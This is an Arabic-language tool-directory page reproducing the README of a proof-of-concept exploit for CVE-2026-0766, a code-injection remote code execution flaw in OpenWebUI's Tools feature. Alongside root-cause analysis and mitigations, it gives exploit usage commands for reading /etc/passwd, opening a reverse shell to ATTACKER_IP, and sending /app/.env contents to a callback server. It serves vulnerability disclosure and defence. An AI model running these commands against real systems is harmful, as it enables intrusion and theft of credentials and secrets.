Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0766 — إثبات مفهوم لاستغلال CVE-2026-0766، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في OpenWebUI عبر حقن أكواد الأدوات. يتضمن أوضاع تنفيذ الأوامر، وقراءة الملفات، والقشرة العكسية، والاستخراج الأعمى للبيانات. | Kitploit
أدوات/GitHubGitHub/bitt0n/cve-2026-0766
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

إثبات مفهوم لاستغلال CVE-2026-0766، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في OpenWebUI عبر حقن أكواد الأدوات. يتضمن أوضاع تنفيذ الأوامر، وقراءة الملفات، والقشرة العكسية، والاستخراج الأعمى للبيانات.

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-0766: تنفيذ التعليمات البرمجية عن بُعد في OpenWebUI

مستودع أبحاث أمنية تعليمي

يحتوي هذا المستودع على كود إثبات المفهوم لاستغلال CVE-2026-0766، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في OpenWebUI تم اكتشافها ونشرها بواسطة مبادرة اليوم الصفري (ZDI).


⚠️ إخلاء مسؤولية

هذا المستودع مخصص لاختبار الأمان المصرح به والأغراض التعليمية فقط.

  • استخدم هذا الكود لاختبار أنظمتك الخاصة أو الأنظمة التي لديك تفويض صريح لاختبارها
  • استخدم هذا لأغراض التعلم حول ثغرات أمان منصات LLM
  • ❌ لا تستخدم هذا أبدًا ضد أنظمة دون إذن صريح
  • ❌ الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني

لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا الكود. يتحمل المستخدمون وحدهم مسؤولية ضمان امتثال أنشطتهم لجميع القوانين واللوائح المعمول بها.


📋 نظرة عامة على الثغرة

الخاصيةالقيمة
معرف CVECVE-2026-0766
اكتشفهامبادرة اليوم الصفري (ZDI)
البرنامج المتأثرOpenWebUI
نوع الثغرةحقن التعليمات البرمجية (CWE-94)
درجة CVSS8.8 عالية
متجه CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
تعقيد الهجوممنخفض (يمكن للمسؤول المصادق عليه أو المستخدم الذي لديه صلاحية إنشاء/تحديث الأدوات استغلالها)

ما هو OpenWebUI؟

OpenWebUI هي واجهة ويب مستضافة ذاتيًا لنماذج اللغة الكبيرة. توفر تجربة مشابهة لـ ChatGPT يمكن للمؤسسات تشغيلها على بنيتها التحتية الخاصة، مما يبقي محادثات وبيانات LLM داخل المنشأة.

الثغرة

يتضمن OpenWebUI ميزة "الأدوات" التي تسمح للمستخدمين بتوسيع قدرات LLM عن طريق إرسال كود Python. يتم تنفيذ هذا الكود من جانب الخادم عبر دالة exec() في Python دون أي عزل (sandboxing) أو تحقق أو ضوابط أمان.

مسار الاستغلال:

  1. يقوم المستخدم المصادق عليه بإنشاء "أداة" عبر POST /api/v1/tools/create
  2. يتم تخزين كود Python المقدم من المستخدم في حقل content
  3. يستدعي الخادم exec(content, module.__dict__) في utils/plugin.py
  4. يتم تنفيذ كود Python التعسفي بصلاحيات الخادم الكاملة
  5. يحقق المهاجم تنفيذ التعليمات البرمجية عن بُعد (RCE)

نقطة أساسية: يتم تنفيذ الكود في وقت إنشاء الأداة، وليس عند استدعاء LLM للأداة. هذا يعني أن مجرد إنشاء أداة خبيثة يؤدي إلى RCE - دون الحاجة إلى أي تفاعل إضافي.

الإصدارات المختبرة

تم التحقق من هذا الاستغلال على:

  • OpenWebUI v0.8.10 - قابل للاستغلال ✅ (تم اختباره في 2026-03-28)

الثغرة معمارية (استخدام غير آمن لـ exec() على مدخلات المستخدم) وتوجد في جميع الإصدارات حتى يتم إصدار تصحيح أمني من فريق OpenWebUI.


🔍 التفاصيل الفنية

السبب الجذري

توجد الثغرة في backend/open_webui/utils/plugin.py:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # معالجة مسبقة بسيطة (ليست ضابط أمان)
    content = replace_imports(content)

    # إنشاء وحدة وتنفيذ كود المستخدم
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← الثغرة

    return module

دالة replace_imports() تعيد كتابة مسارات الاستيراد فقط (تجميلية) - ولا تقيّد ما يمكن تنفيذه من كود. لا يوجد:

  • ❌ عزل (لا توجد بيئة تنفيذ مقيدة)
  • ❌ تحقق من الكود (لا فحص AST أو قائمة مسموحات)
  • ❌ فحوصات صلاحيات (يمكن لجميع المستخدمين المصادق عليهم إنشاء أدوات افتراضيًا)
  • ❌ فصل صلاحيات (يعمل الكود بحساب خدمة OpenWebUI)

استجابة البائع

قيّم فريق OpenWebUI هذا في البداية كأولوية منخفضة، مشيرًا إلى أن إنشاء الأدوات يتطلب صلاحيات المسؤول. ومع ذلك:

  1. تفويض الصلاحيات شائع - تمنح العديد من النشرات صلاحية إنشاء الأدوات للمستخدمين المتميزين ومسؤولي مساحات العمل والمطورين
  2. حسابات المسؤول المخترقة - يمكن للتصيد الاحتيالي وحشو بيانات الاعتماد واختراق SSO منح المهاجمين وصول المسؤول
  3. انتهاك الدفاع المتعمق - حتى إجراءات المسؤول يجب تقييدها؛ تنفيذ التعليمات البرمجية غير المقيد يكسر مبدأ الامتياز الأقل
  4. الفائدة بعد الاختراق - هذه الثغرة قيّمة في سلاسل الهجوم بعد الوصول الأولي

بعد أن اقترح البائع أن يدير المسؤول ذلك بوصول مقيد، نشرت ZDI هذا كثغرة يوم صفري (ZDI-26-032) لإعلام المدافعين.

يحترم المؤلف تحديات صيانة المشاريع مفتوحة المصدر. يتطلب تصحيح الثغرات الأمنية موازنة احتياجات المستخدمين والقيود المعمارية والموارد المحدودة. يهدف هذا النشر إلى مساعدة فرق الأمان في تقييم المخاطر وتنفيذ التخفيف.


🛠️ إثبات المفهوم

التثبيت

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

الاستخدام

يدعم سكربت الاستغلال (exploit.py) أوضاع هجوم متعددة:

1. تنفيذ الأوامر

تنفيذ أوامر نظام التشغيل واسترجاع المخرجات:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. قراءة الملفات

قراءة الملفات من نظام ملفات الخادم:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. شل عكسي

تشغيل شل عكسي (يتطلب مستمع netcat):

root@kitploit:~
# على جهاز المهاجم:
nc -lvnp 4444

# تشغيل الاستغلال:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. استخراج البيانات العمياء

إرسال مخرجات الأوامر إلى خادم استدعاء HTTP:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

المصادقة

يقبل السكربت كلاً من رموز JWT (من تسجيل دخول SSO) ومفاتيح API:

الحصول على رمز JWT:

  1. سجّل الدخول إلى OpenWebUI بشكل طبيعي (SSO أو مصادقة محلية)
  2. افتح أدوات مطوري المتصفح (F12)
  3. ابحث عن الرمز الخاص بك:
    • تبويب Cookies: ابحث عن قيمة ملف تعريف الارتباط token
    • تبويب Network: انسخ ترويسة Authorization: Bearer ... من أي طلب API
    • Console: نفّذ localStorage.getItem("token")
  4. مرر الرمز إلى السكربت: --token eyJhbGci...

🔐 التخفيفات

للمدافعين

إذا كنت تشغّل OpenWebUI ولا يمكنك التصحيح فورًا:

  1. قيّد صلاحيات إنشاء الأدوات للمسؤولين الموثوقين للغاية فقط
  2. دقق الأدوات الموجودة بحثًا عن كود خبيث (افحص محتوى الأدوات في قاعدة البيانات)
  3. شغّل OpenWebUI بصلاحيات دنيا (حساب خدمة مخصص، نظام ملفات للقراءة فقط حيثما أمكن)
  4. نفّذ تصفية حركة المرور الصادرة (يجب ألا يكون للحاوية وصول خارجي عشوائي)
  5. راقب إنشاء الأدوات المشبوه (راقب الأدوات التي يتم إنشاؤها خارج سير العمل الطبيعي)

الإصلاحات الموصى بها (للمطوّرين)

  1. استبدل exec() ببديل آمن:

    • استخدم RestrictedPython للتنفيذ المعزول
    • حلل AST الخاص بـ Python وتحقق من قائمة العمليات الآمنة المسموحة
    • نفّذ كود الأدوات في حاويات معزولة (gVisor, Firecracker)
  2. أضف فحوصات الصلاحيات:

    • اشترط موافقة المسؤول على الأدوات الجديدة
    • نفّذ التحكم في الوصول القائم على الأدوار لإنشاء الأدوات
    • أضف سير عمل مراجعة الكود قبل تفعيل الأدوات
  3. الدفاع المتعمق:

    • شغّل الأدوات في عمليات منفصلة مع تصفية استدعاءات النظام (seccomp)
    • قيّد الوصول إلى نظام الملفات للقراءة فقط
    • أزل الوصول إلى الشبكة من بيئة تنفيذ الأدوات

📚 المراجع

  • إدخال NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • نشرة ZDI: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • نشرة GitHub الأمنية: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (حقن التعليمات البرمجية): https://cwe.mitre.org/data/definitions/94.html
  • OWASP حقن التعليمات البرمجية: https://owasp.org/www-community/attacks/Code_Injection

🙏 الشكر والتقدير

  • اكتشاف الثغرة: مبادرة اليوم الصفري (ZDI) - ZDI-26-032 / ZDI-CAN-28257
  • بحث الاستغلال وتطوير إثبات المفهوم: Pradeep Pillai (@bitt0n)

📜 الترخيص

رخصة MIT - راجع ملف LICENSE للتفاصيل.

يُقدَّم هذا الكود لأغراض تعليمية وأمنية دفاعية. المؤلف غير مسؤول عن إساءة الاستخدام.


🤝 الإفصاح المسؤول

تم الإفصاح عن هذه الثغرة بشكل مسؤول:

  1. اكتشفت ZDI وأبلغت OpenWebUI بالثغرة
  2. فترة إفصاح منسقة مُنحت للبائع لتصحيحها
  3. رفض البائع التصحيح (قيّمها كمخاطرة مقبولة)
  4. نشرت ZDI كثغرة يوم صفري لإعلام مجتمع الأمان
  5. نُشر إثبات المفهوم هذا بعد الإفصاح لمساعدة المدافعين في تقييم المخاطر

إذا اكتشفت ثغرات أمنية في مشاريع مفتوحة المصدر، يرجى اتباع ممارسات الإفصاح المسؤول وإعطاء المطوّرين وقتًا للتصحيح قبل الإفصاح العام.


للأسئلة أو الملاحظات: افتح مشكلة (issue) في هذا المستودع.

تنزيل الأداة